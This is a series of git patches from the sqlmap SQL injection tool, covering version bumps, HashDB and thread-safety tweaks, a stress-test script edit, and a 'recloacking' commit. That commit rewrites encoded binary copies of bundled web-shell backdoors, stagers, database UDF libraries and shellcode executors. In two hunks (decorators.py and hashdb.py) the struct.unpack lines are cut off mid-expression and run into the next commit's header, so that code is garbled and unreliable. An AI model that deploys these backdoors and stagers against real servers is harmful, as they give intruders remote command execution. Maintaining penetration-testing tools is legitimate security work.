++-- lib/core/settings.py | 2 +- lib/utils/hashdb.py | 4 +--- 3 files changed, 4 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 18f41e881ce..183aa16a410 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -9ffdf1b4e618a2d335948321e592dbf02000e6bda5381bcfb96dba42142d08d1 lib/core/settings.py +af73c025a795b39d4b48957422e2c6e73e3052f11fbab723ae6c03ec5c42e978 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -247,7 +247,7 @@ af67d25e8c16b429a5b471d3c629dc1da262262320bf7cd68465d151c02def16 lib/utils/brut 56b93ba38f127929346f54aa75af0db5f46f9502b16acfe0d674a209de6cad2d lib/utils/deps.py 3aca7632d53ab2569ddef876a1b90f244640a53e19b304c77745f8ddb15e6437 lib/utils/getch.py 4979120bbbc030eaef97147ee9d7d564d9683989059b59be317153cdaa23d85b lib/utils/har.py -70231961e1d5888efa307552457fe3bc5fdc15e8c93206c1fa05f98e75e5ae5d lib/utils/hashdb.py +656a716355c319b14eccbfc85cdeeda1ac89e713430c50f20e1502a688b4b1b6 lib/utils/hashdb.py 8c9caffbd821ad9547c27095c8e55c398ea743b2e44d04b3572e2670389ccf5b lib/utils/hash.py ba862f0c96b1d39797fb21974599e09690d312b17a85e6639bee9d1db510f543 lib/utils/httpd.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/utils/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 5a8c63626d5..415ca3e1e78 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.35" +VERSION = "1.9.12.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index f55a03287bc..7c43e74290b 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -26,7 +26,6 @@ from lib.core.settings import HASHDB_FLUSH_THRESHOLD_TIME from lib.core.settings import HASHDB_RETRIEVE_RETRIES from lib.core.threads import getCurrentThreadData -from lib.core.threads import getCurrentThreadName from thirdparty import six class HashDB(object): @@ -42,10 +41,9 @@ def _get_cursor(self): if threadData.hashDBCursor is None: try: - connection = sqlite3.connect(self.filepath, timeout=3, isolation_level=None, check_same_thread=False) + connection = sqlite3.connect(self.filepath, timeout=10, isolation_level=None, check_same_thread=False) self._connections.append(connection) threadData.hashDBCursor = connection.cursor() - threadData.hashDBCursor.execute("PRAGMA journal_mode=WAL") threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") connection.commit() except Exception as ex: From 63cecb648006cc280acba6c5b2b8642903208543 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 13:25:00 +0100 Subject: [PATCH 277/853] Minor optimization in HashDB --- data/txt/sha256sums.txt | 6 +++--- lib/core/decorators.py | 2 +- lib/core/settings.py | 4 ++-- lib/utils/hashdb.py | 3 ++- 4 files changed, 8 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 183aa16a410..62886ac5784 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -171,7 +171,7 @@ f6062e324fdeaacf9df0a289fc3f12f755143e3876a70cb65b38aa2e690f73c1 lib/core/commo 39ea62d4224be860befeffb3843c150f2343b64555ad8c438a400222056f6cc0 lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py ffae7cfe9f9afb92e887b9a8dbc1630d0063e865f35984ae417b04a4513e5024 lib/core/datatype.py -a3979f1b8f8b407d033c2c39d3e8242f0151886703bb4ab8c8f5a13b8079271c lib/core/decorators.py +253309dc355ae27cd275e7de5a068e7e22feba603c4fe3429e2b69f8a51c0d13 lib/core/decorators.py d573a37bb00c8b65f75b275aa92549683180fb209b75fd0ff3870e3848939900 lib/core/defaults.py bb7e6521edad1cbfffa89fd7d5e255ed4ff148d984ffadbeac8d42baa2d76dea lib/core/dicts.py 20a6edda1d57a7564869e366f57ed7b2ab068dd8716cf7a10ef4a02d154d6c80 lib/core/dump.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -af73c025a795b39d4b48957422e2c6e73e3052f11fbab723ae6c03ec5c42e978 lib/core/settings.py +eabd2afcdc5b6efc7824789e400acc387df4760587de98367149cf28f24c53c4 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -247,7 +247,7 @@ af67d25e8c16b429a5b471d3c629dc1da262262320bf7cd68465d151c02def16 lib/utils/brut 56b93ba38f127929346f54aa75af0db5f46f9502b16acfe0d674a209de6cad2d lib/utils/deps.py 3aca7632d53ab2569ddef876a1b90f244640a53e19b304c77745f8ddb15e6437 lib/utils/getch.py 4979120bbbc030eaef97147ee9d7d564d9683989059b59be317153cdaa23d85b lib/utils/har.py -656a716355c319b14eccbfc85cdeeda1ac89e713430c50f20e1502a688b4b1b6 lib/utils/hashdb.py +af047a6efc1719a3d166fac0b7ff98ab3d29af7b676ff977e98c31c80e9e883e lib/utils/hashdb.py 8c9caffbd821ad9547c27095c8e55c398ea743b2e44d04b3572e2670389ccf5b lib/utils/hash.py ba862f0c96b1d39797fb21974599e09690d312b17a85e6639bee9d1db510f543 lib/utils/httpd.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/utils/__init__.py diff --git a/lib/core/decorators.py b/lib/core/decorators.py index dbbc235800d..930bdc418aa 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -56,7 +56,7 @@ def _f(*args, **kwargs): "^".join("%s=%r" % (k, kwargs[k]) for k in sorted(kwargs)) ) try: - key = struct.unpack(">Q", hashlib.md5("`".join(parts).encode(UNICODE_ENCODING)).digest()[:8])[0] & 0x7fffffffffffffff + key = struct.unpack("...) -VERSION = "1.9.12.36" +VERSION = "1.9.12.37" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -719,7 +719,7 @@ HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "OdqjeUpBLc" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' +HASHDB_MILESTONE_VALUE = "GpqxbkWTfz" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format) PICKLE_PROTOCOL = 2 diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 7c43e74290b..51753e40834 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -8,6 +8,7 @@ import hashlib import os import sqlite3 +import struct import threading import time @@ -81,7 +82,7 @@ def closeAll(self): @staticmethod def hashKey(key): key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace") - retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff # Reference: http://stackoverflow.com/a/4448400 + retVal = struct.unpack(" Date: Tue, 30 Dec 2025 13:37:32 +0100 Subject: [PATCH 278/853] Minor thread-safety fix --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 4 ++++ 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 62886ac5784..8ce3e378c24 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -eabd2afcdc5b6efc7824789e400acc387df4760587de98367149cf28f24c53c4 lib/core/settings.py +a6b8de9614325d6c0cac9788d36152e5691aba12767cda7f4ba4c68ce3e08a82 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -230,7 +230,7 @@ d6ab6436d7330278081ed21433ab18e5ef74b4d7af7ccb175ae956c245c13ce1 lib/request/re 479cf4a9c0733ba62bfa764e465a59277d21661647304fa10f6f80bf6ecc518b lib/takeover/udf.py 08270a96d51339f628683bce58ee53c209d3c88a64be39444be5e2f9d98c0944 lib/takeover/web.py d40d5d1596d975b4ff258a70ad084accfcf445421b08dcf010d36986895e56cb lib/takeover/xp_cmdshell.py -3a355d277fa558c90fa040b3a02b99690671bf99a7a4ffb20a9a45878b09ab5e lib/techniques/blind/inference.py +8dae17964884e90fcef58939804deb3c86cf24e9305ead705cbe33bb65c363e0 lib/techniques/blind/inference.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/techniques/blind/__init__.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/techniques/dns/__init__.py d20798551d141b3eb0b1c789ee595f776386469ac3f9aeee612fd7a5607b98cd lib/techniques/dns/test.py diff --git a/lib/core/settings.py b/lib/core/settings.py index aba4fdd465c..f6dc795c87e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.37" +VERSION = "1.9.12.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 25ec3164ad2..60e4afa1c30 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -239,6 +239,8 @@ def validateChar(idx, value): Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ + threadData = getCurrentThreadData() + validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: @@ -268,6 +270,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, numerical values is exactly 1 """ + threadData = getCurrentThreadData() + result = tryHint(idx) if result: From 53aafe92fe65492f28865ab6f671ae6953805a5c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 13:42:22 +0100 Subject: [PATCH 279/853] Minor bug fix --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 2 ++ 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8ce3e378c24..3c305b872b6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -a6b8de9614325d6c0cac9788d36152e5691aba12767cda7f4ba4c68ce3e08a82 lib/core/settings.py +4cc976d4c1b399613cb4da8065c3cd20ae4dbd92543cf39135d57a3b92332c6d lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py @@ -230,7 +230,7 @@ d6ab6436d7330278081ed21433ab18e5ef74b4d7af7ccb175ae956c245c13ce1 lib/request/re 479cf4a9c0733ba62bfa764e465a59277d21661647304fa10f6f80bf6ecc518b lib/takeover/udf.py 08270a96d51339f628683bce58ee53c209d3c88a64be39444be5e2f9d98c0944 lib/takeover/web.py d40d5d1596d975b4ff258a70ad084accfcf445421b08dcf010d36986895e56cb lib/takeover/xp_cmdshell.py -8dae17964884e90fcef58939804deb3c86cf24e9305ead705cbe33bb65c363e0 lib/techniques/blind/inference.py +7dee817cf23d3721cdd0124407f44910fae19250eebd9c8c22f55e56530d70e9 lib/techniques/blind/inference.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/techniques/blind/__init__.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/techniques/dns/__init__.py d20798551d141b3eb0b1c789ee595f776386469ac3f9aeee612fd7a5607b98cd lib/techniques/dns/test.py diff --git a/lib/core/settings.py b/lib/core/settings.py index f6dc795c87e..70bcf20b179 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.38" +VERSION = "1.9.12.39" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 60e4afa1c30..10bcb46eafe 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -291,6 +291,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: + if not isinstance(charTbl, list): + charTbl = list(charTbl) charTbl.remove(ord(char)) if not charTbl: From 5cc46916ccf96b3ee76d4d8d7f91aee156d6f107 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 21:16:24 +0100 Subject: [PATCH 280/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- extra/shutils/drei.sh | 9 ++------- lib/core/settings.py | 2 +- 3 files changed, 5 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3c305b872b6..d15ed431149 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -145,7 +145,7 @@ cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcod cb43de49a549ae5524f3066b99d6bc3b0b684c6e68c2e75602e87b2ac5718716 extra/shellcodeexec/windows/shellcodeexec.x32.exe_ 384805687bfe5b9077d90d78183afcbd4690095dfc4cc12b2ed3888f657c753c extra/shutils/autocompletion.sh 04e48ea5b4c77768e892635128ac0c9e013d61d9d5eda4f6ff8af5a09ae2500b extra/shutils/blanks.sh -b740525fa505fe58c62fd32f38fd9161004a006b5303a2e95096755801cc9b54 extra/shutils/drei.sh +273e332268a952f43902cc0ee29f1e0eef632501407e2be9bd3def9b83e7679a extra/shutils/drei.sh 2d778d7f317c23e190409cddad31709cad0b5f54393f1f35e160b4aa6b3db5a2 extra/shutils/duplicates.py ca1a0b3601d0e73ce2df2ba6c6133e86744b71061363ba09e339951d46541120 extra/shutils/junk.sh 74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -4cc976d4c1b399613cb4da8065c3cd20ae4dbd92543cf39135d57a3b92332c6d lib/core/settings.py +9dc353bd3dbc3f2f0afcba6de264704f0072c28c3535ca721c67884ff6bdc77d lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index 99bccf5c8d7..529c1708b31 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -3,12 +3,7 @@ # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission -# Stress test against Python3 +# Stress test against Python3(.14) -export SQLMAP_DREI=1 -#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done -for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done -unset SQLMAP_DREI +for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.14 -m compileall $i | sed 's/Compiling/Checking/g'; done source `dirname "$0"`"/junk.sh" - -# for i in $(find . -iname "*.py" | grep -v __init__); do timeout 10 pylint --py3k $i; done 2>&1 | grep -v -E 'absolute_import|No config file' diff --git a/lib/core/settings.py b/lib/core/settings.py index 70bcf20b179..dd2cc5eca08 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.39" +VERSION = "1.9.12.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From bb73c60dc0fe63bae18d7d857fa9ed43bfc09041 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 21:18:16 +0100 Subject: [PATCH 281/853] Doing recloacking --- data/shell/backdoors/backdoor.asp_ | Bin 243 -> 243 bytes data/shell/backdoors/backdoor.aspx_ | Bin 417 -> 417 bytes data/shell/backdoors/backdoor.jsp_ | Bin 359 -> 359 bytes data/shell/backdoors/backdoor.php_ | Bin 469 -> 469 bytes data/shell/stagers/stager.asp_ | Bin 1201 -> 1201 bytes data/shell/stagers/stager.aspx_ | Bin 529 -> 529 bytes data/shell/stagers/stager.jsp_ | Bin 1321 -> 1321 bytes data/shell/stagers/stager.php_ | Bin 379 -> 379 bytes data/txt/sha256sums.txt | 92 +++++++++--------- data/udf/mysql/linux/32/lib_mysqludf_sys.so_ | Bin 2512 -> 2512 bytes data/udf/mysql/linux/64/lib_mysqludf_sys.so_ | Bin 3200 -> 3200 bytes .../mysql/windows/32/lib_mysqludf_sys.dll_ | Bin 4549 -> 4549 bytes .../mysql/windows/64/lib_mysqludf_sys.dll_ | Bin 5267 -> 5267 bytes .../linux/32/10/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/11/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/32/8.2/lib_postgresqludf_sys.so_ | Bin 2018 -> 2018 bytes .../linux/32/8.3/lib_postgresqludf_sys.so_ | Bin 2016 -> 2016 bytes .../linux/32/8.4/lib_postgresqludf_sys.so_ | Bin 2020 -> 2020 bytes .../linux/32/9.0/lib_postgresqludf_sys.so_ | Bin 2729 -> 2729 bytes .../linux/32/9.1/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.2/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.3/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.4/lib_postgresqludf_sys.so_ | Bin 2652 -> 2652 bytes .../linux/32/9.5/lib_postgresqludf_sys.so_ | Bin 2639 -> 2639 bytes .../linux/32/9.6/lib_postgresqludf_sys.so_ | Bin 2640 -> 2640 bytes .../linux/64/10/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../linux/64/11/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/12/lib_postgresqludf_sys.so_ | Bin 3257 -> 3257 bytes .../linux/64/8.2/lib_postgresqludf_sys.so_ | Bin 2561 -> 2561 bytes .../linux/64/8.3/lib_postgresqludf_sys.so_ | Bin 2562 -> 2562 bytes .../linux/64/8.4/lib_postgresqludf_sys.so_ | Bin 2563 -> 2563 bytes .../linux/64/9.0/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.1/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.2/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.3/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.4/lib_postgresqludf_sys.so_ | Bin 2693 -> 2693 bytes .../linux/64/9.5/lib_postgresqludf_sys.so_ | Bin 2633 -> 2633 bytes .../linux/64/9.6/lib_postgresqludf_sys.so_ | Bin 2632 -> 2632 bytes .../windows/32/8.2/lib_postgresqludf_sys.dll_ | Bin 4755 -> 4755 bytes .../windows/32/8.3/lib_postgresqludf_sys.dll_ | Bin 4766 -> 4766 bytes .../windows/32/8.4/lib_postgresqludf_sys.dll_ | Bin 4773 -> 4773 bytes .../windows/32/9.0/lib_postgresqludf_sys.dll_ | Bin 4231 -> 4231 bytes extra/cloak/cloak.py | 2 +- extra/icmpsh/icmpsh.exe_ | Bin 7009 -> 7009 bytes extra/runcmd/runcmd.exe_ | Bin 37206 -> 37206 bytes .../windows/shellcodeexec.x32.exe_ | Bin 2758 -> 2758 bytes lib/core/settings.py | 2 +- 47 files changed, 48 insertions(+), 48 deletions(-) diff --git a/data/shell/backdoors/backdoor.asp_ b/data/shell/backdoors/backdoor.asp_ index bc912038c7d86ba294f7666855fbd54882c1fe05..8d82ec3bd3461c348a16ed97d893ad4ea3b1e299 100644 GIT binary patch literal 243 zcmVR?zXs&9*RbB7r>;>_eW#Cw9mH8RN!ZKb8;*c+#;T>7CCn;LRE2~jZ}%W zJi^*b>`3?-k-;}+@18byURpEsgeDsbeJ5+rB=`dT?(`C(n4Q+63NLT$Efizg!Vqoa zSx&`(4SZYsrN(8h&JT_-Of)N7-f~$%hnB45qxC&7ZN*i+y>3A*^DzGai$gwM6#6`QhRHm9Q>MPA|fjvLP+X)f!Ko8ClbhuaVRkTuvZcf0_R(U^w)9|QNiSMUam-9R7Oldf?<^=2)+5QGZRwz+!(bdj?saKaD;5;n8f6+}W~(3=UnrHep=d%{3Fz z9SWhR3tefdzO!1X!7A_q2yjn)*i&l|oa2+@tk6RODSgl0f&r;mH& zv|)cTx!?UL8ota>a^uH1Lx0n$m2U7QW($>~-n zQ0ar%_etp$+3T;ohwC@Nx3=T(qgC2~t)wlJW#u`pT>pAqVF;&)0v#NFN6UEufQ8(M zF7|}mn98R|{9?G-FiAO{L-U64I57qw*-@nUacW`4IbvP_-3WO$PF!=-)o{6)dB~#H z2jS_ngs%^=kQnd9=@S9vNrD2g#$R^nfR7)9mG3W=la`QgypI>{T9_VFGs}^-IUD_E zsk__(puKSjrJcBJE3}rw#!J|%qp*8=Va>^(lf{$sis^r>5~+(d1CDcF@U5G6(z^bK zO45Bsy3}I)vrP7AugVe5*#~2iVLeA_YYNp}iD}oCbp`vK(OHZ};jO{LD4^HLn(ojH zYxCm@6Y8`Tt?xE^IXY{!C#<8LAUeon9r8E+h1>L%4p^!K;eQ3VgE?}Qb3M+ZYp5w0oHs*viu!UQcBtc~9r1&c z6s_m~@o3vb!k&=3h|Wp#^YVw+rF7`gw$T!lYQRUF7`q;NXDOB08E7MUNbUzS#KE|) zDA%@%gTI(S^GC+(bPZj(MbfmPBSbkT)^ys+H7*6=KSOL$#(hRHL3s_~ku=@Df9a5i z9F*3yi;8iB)Le_=?=myAQujT!$$ALe#LIi5lg=H)h~uwlv#M#|9^86#HR_}1B5uNA zrk)51m-JgK9 z4we~Vy!BA6s5!}Rpzm+|okIt;XB>4naDVDrhD@oXF+rcY*Lc1c`q=)&Cxxl|-m0`K zZPL+O2%n1*qRL1}eSQyq>qFR3tb6N#obcfm||RKk0!|k={8Cq LInkIxUuv?Osu0)B diff --git a/data/shell/backdoors/backdoor.jsp_ b/data/shell/backdoors/backdoor.jsp_ index f798ea5778c5d1a0e0f78434e59d800d1da08dfa..c28a51a5abf61ac329d54a08b47339495cd40edc 100644 GIT binary patch literal 359 zcmV-t0hs;|?xv&&8%jrU)Yzj@1;V61$+*!waLaKZ;)7jFgahg79}tZU9Q(k;rifvk z2niYe=wJl4o_ZNaOTzSp0BJBHDbV!Y?=P7+@OvnY$5mC-Y*1w)BE4vh!ur`49Ak=j z3vR-Ms4AX_%LjDtPoNxd5ktcTAGl2{2dyP_%JPJ!I*v#TAl+MKw&jltEMK_m#EKOI%y3)+Mpg zpwG>|k|*7xT~N!Vmh(YRODVY0?`bA72Qb~zrqOb6Cs2wh=UhZvneyaw z^CjInA*J5+$S5GeQ7F)V3;Ekb!+$Z#v>C=>w&B%E5@*^lNB6Grq( zPb#LPt_!T$&~i)YK!svLRR^lH_GgVUigp8Y$yC-iYI)0(^6)E6iTH4P3YO2v*0FW? z;yH(8K)|aBe*ZLWGYIzo4-slnOTkV`GC`N0fl>CPLll1Mk2GxU_^`|34;Vj<&;)~k zySnnZodTng85FOA;`ZGZZPXD0nbtpj4{hA_=|~h~97W>Qsq_p&V-)TV;eB=rf`{95 z`~af}W#PKg&IuBbN?q@G1l*c@&Fx21g3gTrFE?`b*nk5aevWaTfKjK;L@mw@h-x?R zVq(y8C*(u#Kr8P!%&z#iN?jv=@h~lMYQj_UlF^-W%ld_%{#z(_bUDzsnJd1C33sQa Fxl%|wva|pI diff --git a/data/shell/backdoors/backdoor.php_ b/data/shell/backdoors/backdoor.php_ index 720bfe1fff4d4d48878457c37db19b8174133b60..313b4a89b19e1ccc1dfb098b352de4f9597debae 100644 GIT binary patch literal 469 zcmV;`0V@6v?!IIQ-_k~Pt{k5BJi(R=-sdG`%Yvvk$Ia{G3kD6jQHuogHBvWor--dZ z2UYDP_cy?GpL&Izgt+uJZ}%~hO|6LfY_y7$7*i)?-5xJjfSX*U3Y=WiH?1|1w>mq^ zd()4d3s$eo6}q?#0LCI}^*vHn#e6kPn}^og?c+zAOEe>a4oX>iaZCVY56pf+@#*tc z^R7bNa_A#`6m5EZd%qeR<1K*%6NQz$M#l?gNR-<|h(uD|MGyo}p(?=LR4~X=B+0#% z#TJUg^AV;?9u1p2OWQdwz@-b 